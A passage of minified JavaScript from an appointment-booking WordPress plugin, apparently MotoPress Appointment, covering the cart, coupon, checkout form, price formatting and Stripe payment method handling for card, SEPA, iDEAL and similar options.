l="";switch(t){case"service_id":l=e.service.id;break;case"service_name":l=e.service.name;break;case"service_thumbnail":l=Oe(e.service.thumbnail);break;case"employee_id":l=e.employee.id;break;case"employee_name":l=e.employee.name;break;case"location_id":l=e.location.id;break;case"location_name":l=e.location.name;break;case"reservation_date":l=E(e.date);break;case"reservation_save_date":l=E(e.date,"internal");break;case"reservation_time":l=e.time.toString("short");break;case"reservation_period":l=e.time.toString();break;case"reservation_save_period":l=e.time.toString("internal");break;case"reservation_capacity":l=Be(m(n,n),e.capacity);break;case"reservation_clients":l=Fe(m(n,n),e.capacity);break;case"reservation_clients_count":l=e.capacity;break;case"reservation_price":let t=e.employee.id;l=Me(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(r,l))}return i.find(".cell-people .cell-title").html(e.getService().getQuantityLabel()),i.find('[name*="{item_id}"]').each(((t,s)=>{s.name=s.name.replace("{item_id}",e.getItemId())})),1===n.length&&i.find(".cell-people").addClass("mpa-hide"),i}function xe(e){let t="";t+='<table class="mpa-order widefat">',t+="<tbody>";for(let s of e.products)t+='<tr class="mpa-order-service">',t+='<td class="column-service">',t+='<span class="mpa-service-name">'+s.name+"</span>",s.capacity>1&&(t+='<span class="mpa-reservation-capacity">',t+=s.quantity_label+": "+s.capacity,t+="</span>"),t+="</td>",t+='<td class="column-price">'+Ae(s.price)+"</td>",t+="</tr>";return t+='<tr class="mpa-order-subtotal">',t+='<th class="column-subtotal">'+h("Subtotal","motopress-appointment")+"</th>",t+='<th class="column-price">'+Ae(e.subtotal)+"</th>",t+="</tr>",t+="</tbody>",t+="<tfoot>",e.coupon&&(t+='<tr class="mpa-order-coupon">',t+='<th class="column-coupon">',t+=h("Coupon: %s","motopress-appointment").replace("%s",e.coupon.code),t+="</th>",t+='<td class="column-price">',t+=Ae(-e.coupon.amount),t+=" ",t+='<a href="#" class="mpa-remove-coupon">'+h("Remove","motopress-appointment")+"</a>",t+="</td>",t+="</tr>"),t+='<tr class="mpa-order-total">',t+='<th class="column-total">'+h("Total","motopress-appointment")+"</th>",t+='<th class="column-price">'+Ae(e.total)+"</th>",t+="</tr>",t+="</tfoot>",t+="</table>",t}function Me(e,t={}){let s=C().settings();t=jQuery.extend({currency_symbol:s.getCurrencySymbol(),currency_position:s.getCurrencyPosition(),decimal_separator:s.getDecimalSeparator(),thousand_separator:s.getThousandSeparator(),decimals:s.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let i=function(e,t=0,s=".",i=","){let n,a,o,r,l,p="";return e<0&&(p="-",e*=-1),n=parseInt(e=(+e||0).toFixed(t))+"",(a=n.length)>3?a%=3:a=0,l=a?n.substr(0,a)+i:"",o=n.substr(a).replace(/(\d{3})(?=\d)/g,"$1"+i),r=t?s+Math.abs(e-n).toFixed(t).replace(/-/,0).slice(2):"",p+l+o+r}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),n="mpa-price";if(0==e&&(n+=" mpa-zero-price"),0==e&&t.literal_free)n+=" mpa-price-free",i=d("Free","Zero price","motopress-appointment");else{t.trim_zeros&&(i=function(e,t=null){null==t&&(t=C().settings().getDecimalSeparator());let s=new RegExp("\\"+t+"0+$");return e.replace(s,"")}(i));let s='<span class="mpa-currency">'+t.currency_symbol+"</span>";switch(t.currency_position){case"before":i=s+i;break;case"after":i+=s;break;case"before_with_space":i=s+"&nbsp;"+i;break;case"after_with_space":i=i+"&nbsp;"+s}e<0&&(i="-"+i)}return'<span class="'+n+'">'+i+"</span>"}function Ae(e,t={}){return t.literal_free=!1,Me(e,t)}function Be(e,t,s={}){let i="<select"+Te(s)+">";return i+=Fe(e,t),i+="</select>",i}function Le(e,t,s=!1){let i="";return i='<option value="'+e+'"'+(s?' selected="selected"':"")+">",i+=t,i+="</option>",i}function Fe(e,t){let s="";for(let i in e)s+=Le(i,e[i],i==t);return s}function Re(e,t,s,i){let n="";const a=String(i);for(const[e,s]of Object.entries(t))n+=Le(e,s,e===a);for(let e of s)n+=Le(String(e.id),e.name,String(e.id)===a);e.empty().append(n).val(a)}function Oe(e){let{width:t,height:s}=C().settings().getThumbnailSize();return"<img"+Te({width:t,height:s,src:e,class:"attachment-thumbnail size-thumbnail"})+">"}class Ne extends Ee{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(".mpa-cart"),this.$items=this.$cart.find(".mpa-cart-items"),this.$itemTemplate=this.$cart.find(".mpa-cart-item-template"),this.$noItems=this.$element.find(".no-items"),this.$totalPrice=this.$element.find(".mpa-cart-total-price"),this.$buttonNew=this.$buttons.find(".mpa-button-new")}theId(){return"cart"}addListeners(){super.addListeners(),this.$buttonNew.on("click",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass("mpa-cart-item-template"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),s=e.getDate(),i=e.getTime();this.cart.getItems().forEach((n=>{n.isSet()&&n.getItemId()!=t&&n.isAtTime(s,i)&&n.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(".mpa-cart-item").remove(),this.$noItems.removeClass("mpa-hide"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),s=e.getMaxCapacity();var i,n,a;e.setCapacity((i=e.getCapacity(),n=t,a=s,Math.max(n,Math.min(i,a))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,s)=>{let i='.mpa-cart-item[data-id="'+s+'"]',n=this.$items.find(i);0===n.length?(n=this.addItem(e),this.bindListeners(n)):(n=this.updateItem(n,e),this.bindListeners(n))})),this.updateTotalPrice()}addItem(e){let t=De(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass("mpa-hide"),t}updateItem(e,t){let s=De(t,this.$itemTemplate);return e.replaceWith(s),s}bindListeners(e){let t=e.data("id"),s=this.cart.getItem(t),i=e.find(".mpa-reservation-capacity select, .mpa-reservation-clients select"),n=e.find(".mpa-reservation-price"),a=e.find(".mpa-button-remove, .mpa-button-edit-or-remove"),o=e.find(".mpa-button-edit, .mpa-button-edit-or-remove");i.on("change",(t=>{let i=$(t.target.value);s.setCapacity(i);let a=s.getBookingVariantForCapacity(i),o=a.employeeId,r=a.locationId;if(s.getEmployeeId()!=o)s.setEmployee(o,!1),s.setLocation(r,!1),e=this.updateItem(e,s),this.bindListeners(e);else{let e=s.service.getPrice(o,i);n.html(Me(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&a.on("click",(s=>{s.stopPropagation(),e.remove();let i=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass("mpa-hide"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent("mpa_remove_from_cart",{detail:{cartItem:i,currencyCode:C().settings().getCurrency()}}))})),this.isMultibookingEnabled()||o.on("click",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(Ae(this.cart.getTotalPrice()))}isMultibookingEnabled(){return C().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger("mpa_booking_step_new",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent("mpa_begin_checkout",{detail:{cart:this.cart,currencyCode:C().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class He{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name="coupon_code"]'),this.$applyButton=e.find(".mpa-apply-coupon-button"),this.$messageHolder=e.find(".mpa-message-wrapper"),this.$preloader=e.find(".mpa-preloader"),this.$parentForm=e.parents(".mpa-booking-step").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on("keydown",(e=>{"Enter"===e.code&&this.onEnter(e)})),this.$applyButton.on("click",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),z().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(h("Coupon code applied successfully.","motopress-appointment"))):this.setMessage(h("Sorry, your booking is not eligible for this coupon.","motopress-appointment")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(h("Coupon code is empty.","motopress-appointment"))}reset(){this.$couponCode.val(""),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass("mpa-hide")):(this.enable(),this.$element.removeClass("mpa-hide"))}disable(){this.$couponCode.prop("disabled",!0),this.$applyButton.prop("disabled",!0)}enable(){this.$couponCode.prop("disabled",!1),this.$applyButton.prop("disabled",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger("mpa_booking_step_disable")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger("mpa_booking_step_enable")}triggerApplied(e){this.$parentForm.trigger("mpa_booking_coupon_applied",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}}function Ve(e){const t=jQuery("<span/>",{id:e.attr("id")+"_error",class:"mpa-phone-field-error mpa-hide",text:h("Phone number is invalid.","motopress-appointment")});e.after("<br>",t);const s=n(e[0],{separateDialCode:!0,initialCountry:i.settings.country,hiddenInput:e.attr("name"),utilsScript:i.urls.plugin+"assets/js/intl-tel-input-17.0.19/js/utils.js"});s.promise.then((()=>{e.val()&&a(),e.on("countrychange",(e=>{a()})),e.on("input",(e=>{a()}))}));const a=()=>{s.isValidNumber()?(jQuery("input[type='hidden'][name='"+e.attr("name")+"']").val(s.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass("mpa-phone-number--invalid"),t.addClass("mpa-hide")):(e.addClass("mpa-phone-number--invalid"),t.removeClass("mpa-hide"))};return s}window.mpa_intl_tel_input=Ve;class ze extends Ee{setupProperties(){super.setupProperties(),this.name="",this.email="",this.phone="",this.notes="",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(".mpa-checkout-form"),this.$name=this.$element.find(".mpa-customer-name"),this.$email=this.$element.find(".mpa-customer-email"),this.$phone=this.$element.find(".mpa-customer-phone"),this.$notes=this.$element.find(".mpa-customer-notes"),this.$order=this.$element.find(".mpa-order"),wp.hooks.doAction("mpa_step_checkout_form",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ve(this.$phone)),C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.$messageHolder=this.$element.find(".mpa-message").first(),this.$preloader=this.$element.find(".mpa-loading"),C().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(".mpa-customer-create-account"),this.$createAccountDescription=this.$element.find(".mpa-customer-create-account-description"),this.setProperty("createAccount",this.$createAccount.prop("checked"))),i&&i.currentCustomer&&i.currentCustomer.name&&(this.setProperty("name",i.currentCustomer.name),this.$name.val(i.currentCustomer.name)),i&&i.currentCustomer&&i.currentCustomer.email&&(this.setProperty("email",i.currentCustomer.email),this.$email.val(i.currentCustomer.email)),i&&i.currentCustomer&&"undefined"!==i.currentCustomer.phone&&(this.setProperty("phone",i.currentCustomer.phone),this.phoneValidator.setNumber(i.currentCustomer.phone),this.$phone.trigger("input")),this.service=null,this.couponSection=null}theId(){return"checkout"}propertiesSchema(){return{name:{type:"string",default:""},email:{type:"string",default:""},phone:{type:"string",default:""},notes:{type:"string",default:""},acceptTerms:{type:"bool",default:!1},$createAccount:{type:"bool",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on("submit",(e=>!1)),this.$name.on("input",(e=>this.setProperty("name",e.target.value))),this.$email.on("input",(e=>this.setProperty("email",e.target.value))),this.$phone.on("input",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on("countrychange",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on("input",(e=>this.setProperty("notes",e.target.value))),C().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),C().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on("input",(e=>{this.setProperty("createAccount",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass("mpa-hide"):this.$createAccountDescription.addClass("mpa-hide")})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():C().settings().isCouponsEnabled()&&(this.couponSection=new He(this.$element.find(".mpa-coupon-details"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction("mpa_step_checkout_reset",this.$checkoutForm),this.$notes.val(""),this.resetProperty("notes"),C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),C().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop("checked",!1),this.resetProperty("createAccount")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(xe(this.cart.getOrder()));let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters("mpa_step_checkout_form_valid",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is("[required]"))||""!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is("[required]"))||""!==this.email&&!!this.email.match(/.+@.+/)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is("[required]"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!C().settings().getTermsPageIdForAcceptance()||C().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop("disabled",!1)}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}async maybeSubmit(){if(wp.hooks.hasFilter("mpa_step_checkout_maybe_submit")&&await wp.hooks.applyFilters("mpa_step_checkout_maybe_submit",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&""!==this.email){this.showPreloader();return f("/customers/create",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class qe{setupProperties(){this.gatewayId="basic",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass("mpa-hide"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass("mpa-hide"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return f("/payments/prepare",{payment_details:e.paymentDetails})}getDefaults(){return{country:C().settings().getCountry(),redirect_url:{payment_received:C().settings().getReservationReceivedPageUrl(),failed_transaction:C().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ue extends qe{enable(){}}class je{setupProperties(){this.methods=null,this.uid="",this.paymentMethods=new we,this.selectedMethod="",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=K(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,s)=>{s||(e=!0)})),e&&this.$gatewayPreloader.addClass("mpa-hide")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader"),this.$gatewayPreloader.removeClass("mpa-hide"),this.paymentMethods.forEach(((t,s,i)=>{t.$nav=e.find(".mpa-stripe-payment-method."+i),t.$fields=e.find(".mpa-stripe-payment-fields."+i);const n=this.methods[i].getControl();if(null!==n){const e=this.getElementSelector(i);this.mountedMethods[i]=!1,n.mount(e),n.on("ready",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove("mpa-preloader-skeleton-pulsate")}))}"card"===i&&this.methods.card.isCanMakePaymentRequest().then((e=>{const t=this.getElementSelector("payment-request-button"),s=document.querySelector(t);s&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on("ready",(e=>{this.mountedMethod("payment_request_button"),s.classList.remove("mpa-preloader-skeleton-pulsate")}))):(s.classList.add("mpa-hide"),document.querySelector(".mpa-stripe-payment-request-button-separator").classList.add("mpa-hide")))}))})),e.find('input[name="stripe_payment_method"]').on("change",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(".mpa-errors")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case"payment":case"card":case"ideal":case"sepa_debit":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let s=this.paymentMethods.find(e);s.$nav.toggleClass("active",t),s.$fields.toggleClass("mpa-hide",!t)}}getElementSelector(e){return"sepa_debit"===e&&(e="iban"),"#mpa-stripe-"+e+"-element-"+this.uid}render(){let e="";e+='<section class="mpa-stripe-payment-container">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of this.paymentMethods.keys)e+=this.renderFields(t);return e+='<div class="mpa-errors"></div>',e+="</section>",e}renderNavigation(){let e="";e+='<nav class="mpa-stripe-payment-methods">',e+="<ul>";for(let t of this.paymentMethods.keys){let s=t===this.selectedMethod;e+='<li class="mpa-stripe-payment-method '+t+(s?" active":"")+'">',e+="<label>",e+='<input type="radio" name="stripe_payment_method" value="'+t+'"'+(s?' checked="checked"':"")+">",e+=" "+this.methods[t].title,e+="</label>",e+="</li>"}return e+="</ul>",e+="</nav>",e}renderFields(e){let t="";switch(t+='<div class="mpa-stripe-payment-fields '+e+(e===this.selectedMethod?"":" mpa-hide")+'">',t+="<fieldset>",e){case"payment":t+=this.renderPaymentFields();break;case"card":t+=this.renderCardFields();break;case"ideal":t+=this.renderIdealFields();break;case"sepa_debit":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+="</fieldset>","sepa_debit"===e&&(t+='<p class="notice">',t+=h("By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.","motopress-appointment").replace("%s",C().settings().getBusinessName()),t+="</p>"),t+="</div>",t}renderPaymentFields(){let e="";return e+='<div id="mpa-stripe-payment-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-element"></div>',e}renderCardFields(){let e="";return e+='<label for="mpa-stripe-card-element-'+this.uid+'">',e+=h("Credit or debit card","motopress-appointment"),e+="</label>",this.methods.card.isEnabledWallets()&&(e+='<div id="mpa-stripe-payment-request-button-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement"></div>',e+='<div class="mpa-stripe-payment-request-button-separator">'+h("or","motopress-appointment")+"</div>"),e+='<div id="mpa-stripe-card-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate"></div>',e}renderIdealFields(){let e="";return e+='<label for="mpa-stripe-ideal-element-'+this.uid+'">',e+=h("Select iDEAL Bank","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-ideal-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate"></div>',e}renderSepaDebitFields(){let e="";return e+='<label for="mpa-stripe-iban-element-'+this.uid+'">',e+=h("IBAN","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-iban-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate"></div>',e}renderRedirectNotice(){let e="";return e+='<p class="notice">',e+=h("You will be redirected to a secure page to complete the payment.","motopress-appointment"),e+="</p>",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass("mpa-hide")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass("mpa-hide").html("")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class We extends qe{load(){return this.loadPromise=_("/payments/settings",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Ge{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,s){if(this.api=e,this.settings=s,this.elements=t,new.target===Ge)throw new Error("Cannot construct Abstract instances directly");if(void 0===this.setupProperties)throw new Error("Must override method: setupProperties()");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('"name" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('"title" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,s){let i={type:this.name,billing_details:{name:e.padEnd(3," "),email:t,phone:s}};return null!==this.control&&(i[this.name]=this.control),i}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error("Abstract Method has no implementation")}processPayment(e,t,s){const i=e.getCustomer(),n=this.createPaymentMethodData(i.name,i.email,i.phone);return this.createPaymentMethod(n).then((t=>{if(t.error)throw new Error(t.error.message);return f("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return"requires_action"==e.status&&"redirect_to_url"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error("Unable to process payment.",e.message),null!=s.error_handler&&s.error_handler(e.message),e}))}}class Ye extends Ge{setupProperties(){this.name="payment",this.title=h("Payment methods","motopress-appointment"),this.customerDetails={name:"",email:"",phone:""}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:"",email:"",phone:""}}confirmPayment(e,t){const s=this.getCustomerDetails(),i=this.elements;return new Promise(((e,t)=>{i.submit().then((({error:s})=>{if(s){const e=s.message||"";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var n,a,o;return this.api.confirmPayment({elements:i,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(n=s?.name)&&void 0!==n?n:null,email:null!==(a=s?.email)&&void 0!==a?a:null,phone:null!==(o=s?.phone)&&void 0!==o?o:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:"if_required"})})).catch((e=>{throw console.error("Error during payment confirmation:",e),e}))}processPayment(e,t,s){return f("/payments/prepare",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if("requires_action"===e.status){if("redirect_to_url"!==e.next_action.type)throw new Error("The user has cancelled or failed to complete the payment.");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error("Unable to process payment.",e.message),e;throw new Error("Unable to process payment.")}))}createControl(){const e=this.getCustomerDetails();return this.elements.create("payment",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?"never":"auto",email:e?.email?"never":"auto",phone:e?.phone?"never":"auto",address:{line1:"auto",line2:"auto",city:"auto",state:"auto",country:"auto",postalCode:"auto"}}}})}}class Qe extends Ge{setupProperties(){this.name="card",this.title=h("Card","motopress-appointment"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return this.paymentRequest?this.paymentRequest:this.api.paymentRequest({country:this.settings.country,currency:C().settings().getCurrency().toLowerCase(),total:{label:h("Total","motopress-appointment"),amount:0,pending:!0},requestPayerName:!1,requestPayerEmail:!1,requestPayerPhone:!1,requestShipping:!1,disableWallets:this.getDisabledWallets()})}isCanMakePaymentRequest(){return this.canMakePaymentRequest}getPossibleWallets(){return["apple_pay","google_pay","link"]}isEnabledWallets(){let e=!1;return this.getPossibleWallets().forEach((t=>{this.settings.payment_methods.includes(t)&&(e=!0)})),e}getDisabledWallets(){let e=[];return this.getPossibleWallets().forEach((t=>{if(!this.settings.payment_methods.includes(t)){const s=t.toLowerCase().replace(/([-_][a-z])/g,(e=>e.toUpperCase().replace("-","").replace("_","")));e.push(s)}})),e}createPaymentRequestButton(){return this.elements.create("paymentRequestButton",{paymentRequest:this.paymentRequest,style:{paymentRequestButton:{height:"50px"}}})}processPaymentRequestButton(e){this.paymentRequestButtonEvent=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}proccessPaymentRequestButtonHandler(e,t){const s=e.getCustomer();return this.api.createPaymentMethod({type:"card",card:{token:this.paymentRequestButtonEvent.token.id},billing_details:{name:s.name,email:s.email,phone:s.phone}}).then((t=>{if(t.error)throw this.paymentRequestButtonEvent.complete("fail"),new Error(t.error.message);return f("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e})=>this.confirmPayment(e).then((e=>{if(e.error)throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return this.paymentRequestButtonEvent.complete("success"),this.paymentRequestButtonEvent=null,t})).catch((e=>{throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,console.error("Unable to process payment.",e.message),null!=t.error_handler&&t.error_handler(e.message),e}))}confirmPayment(e){return this.api.confirmCardPayment(e)}processPayment(e,t,s){return this.paymentRequestButtonEvent?this.proccessPaymentRequestButtonHandler(e,s):super.processPayment(e,t,s)}createControl(){return this.elements.create(this.name,{style:this.settings.style,hidePostalCode:this.settings.hide_postal_code})}}class Ke extends Ge{setupProperties(){this.name="sepa_debit",this.title=h("SEPA Direct Debit","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSepaDebitPayment(e)}createControl(){return this.elements.create("iban",{style:this.settings.style,supportedCountries:["SEPA"]})}}class Ze extends Ge{setupProperties(){this.name="bancontact",this.title=h("Bancontact","motopress-appointment")}confirmPayment(e,t){return this.api.confirmBancontactPayment(e,{return_url:t},{handleActions:!1})}}class Je extends Ge{setupProperties(){this.name="ideal",this.title=h("iDEAL","motopress-appointment")}confirmPayment(e,t){return this.api.confirmIdealPayment(e,{return_url:t},{handleActions:!1})}createControl(){return this.elements.create("idealBank",{style:this.settings.style})}}class Xe extends Ge{setupProperties(){this.name="giropay",this.title=h("Giropay","motopress-appointment")}confirmPayment(e,t){return this.api.confirmGiropayPayment(e,{return_url:t},{handleActions:!1})}}class et extends Ge{setupProperties(){this.name="sofort",this.title=h("SOFORT","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSofortPayment(e,{return_url:t},{handleActions:!1})}createPaymentMethodData(e,t,s){let i=super.createPaymentMethodData(e,t,s);return i.sofort={country:this.settings.country},i}}class tt extends We{setupProperties(){super.setupProperties(),this.$gatewayPreloader=null,this.gatewayId="stripe",this.methods=null,this.view=null}constructor(e,t){super(e,t),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader")}isValidAcceptTerms(){if(!C().settings().getTermsPageIdForAcceptance())return!0;const 